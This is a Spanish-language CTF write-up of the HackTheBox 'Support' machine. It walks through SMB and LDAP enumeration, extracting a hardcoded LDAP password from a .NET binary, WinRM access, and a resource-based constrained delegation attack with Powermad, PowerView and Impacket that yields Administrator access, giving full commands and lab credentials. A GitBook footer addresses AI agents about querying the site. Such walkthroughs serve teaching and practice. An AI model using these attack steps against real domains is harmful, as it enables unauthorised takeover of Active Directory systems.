> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Resolución de HackTheBox Support {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración SMB * Análisis binario de EXE * Depuración con DNSpy * Establecer puntos de interrupción y obtener una contraseña LDAP en texto claro (DNSpy) * Enumeración de usuarios de Kerberos (kerbrute) * Enumeración LDAP (ldapsearch) * Fuga de información * Abuso del grupo Usuarios de administración remota (Evil-WinRM) * Enumeración con SharpHound + BloodHound * Abuso de cuentas de soporte compartidas (GenericAll) (ataque RBCD) (delegación restringida basada en recursos) * Ataque de delegación restringida basada en recursos - Creación de un objeto de equipo (powermad.ps1) * Ataque de delegación restringida basada en recursos - PowerView\.ps1 * Ataque de delegación restringida basada en recursos - Obtención del ticket del servicio suplantado (getST.py) * Usar el ticket para obtener acceso de Administrador (escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

#### **Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Escaneo de versiones de puertos con Nmap:** Usando Nmap para escanear versiones de puertos y extraer información en el archivo "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **Enumeración del DC:** ### Lista SMB: Uso de CrackMapExec para la enumeración SMB. ```bash crackmapexec smb 10.10.11.174 ```

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo

### **Lista de Kerberos:** Uso de Kerbrute para enumerar usuarios. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Exploración de recursos compartidos de red:** Buscar carpetas compartidas en la red. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

Descubrimos un archivo zip interesante llamado "UserInfo-exe-zip". Para continuar, usamos el `get` comando para descargarlo a nuestra máquina.

### /*/* Análisis de archivo binario de Windows\:/*/* Vamos a ejecutar un ejecutable de Windows en una máquina equipada con Windows. Para ello, necesitamos: 1. Transferir el archivo ZIP

2. Migración de la configuración de la VPN 3. `/etc/hosts` Configuración

Para ejecutar el binario e identificar a todos los usuarios válidos, solo introduce el siguiente comando ```bash ./UserInfo.exe find -first * -last * ``` #### Este binario nos permitirá listar usuarios.

#### Análisis del archivo binario de Windows descargado con DNspy. {% embed url="" %}

### **Extracción de una contraseña en texto claro:** Uso de DNspy para extraer una contraseña en texto claro de un binario de Windows.

Ejecutaremos el programa, pero nos detendremos solo en la sección donde el texto esté claro.

Aquí está la contraseña LDAP:

### **Verificación de la contraseña LDAP:** Comprobación de la contraseña extraída con CrackMapExec. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### Lista del dominio: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Usuarios del dominio ``` enumdomusers ```

#### Grupos del dominio ```bash enumdomgroups ```

#### Descripciones de usuario: ```bash querydispinfo ```

#### Insertar todos los usuarios válidos del dominio en un archivo. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### Ahora comprobaremos si la contraseña LDAP se reutiliza para alguno de los siguientes usuarios: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` Sin embargo, esto no funciona.

### **Listado de LDPA:** {% embed url="" %} #### Uso de la búsqueda LDAP para enumerar información. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### Hay muchos datos disponibles; sin embargo, al aplicar un filtro sobre la información de la canción, se descubre una contraseña para el usuario support. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Explotación:** #### Usa CrackMapExec para confirmar la contraseña asociada a la cuenta support. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` Este usuario forma parte del grupo de usuarios de administración remota, lo que nos permite conectarnos mediante Windows Remote Management (WinRM). ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Uso de Evil-WinRM:** Conéctate al sistema objetivo mediante Evil-WinRM usando la información identificada obtenida.

## Escalada de privilegios ### **Revisión de los privilegios actuales:**
Usando las `whoami /priv` comando para comprobar los privilegios del usuario, sin éxito.

### **Análisis de los grupos de pertenencia:** Usando las `net user support` comando para inspeccionar los grupos a los que pertenece el usuario. Descubrimiento de un grupo aparentemente raro, "shared support accounts".

### **Uso de BloodHound para el análisis de privilegios:** #### Uso de la herramienta BloodHound para mapear relaciones de acceso. {% embed url="" %}

### **Ejecución de SharpHound para un análisis posterior:** Uso de SharpHound, una herramienta complementaria a BloodHound, para recopilar datos adicionales sobre relaciones de acceso. ```powershell ./SharpHound.exe -c All ```

## Vulnerabilidad: ataque de delegación restringida basada en recursos: {% embed url="" %} ### **Identificación de la vulnerabilidad: ataque de delegación restringida basada en recursos:**

#### Despliegue del script Powermad para crear una cuenta de equipo. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Uso de PowerView para comprobar la creación de la cuenta de equipo. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Definición de autorizaciones para la cuenta de equipo mediante comandos de PowerShell. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### Con este comando, comprobamos si todo el procedimiento 'Get-DomainComputer dc' funciona usando las propiedades 'msds-allowedtoactonbehalfofather identity'.

### **Explotación de la vulnerabilidad** #### Uso de la herramienta Impacket para ejecutar el `getST` comando para obtener un ticket TGT que suplanta al usuario Administrador. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Configura el entorno Kerberos del Administrador exportando `KRB5CCNAME`, y luego conéctate al sistema objetivo usando Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Bandera final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.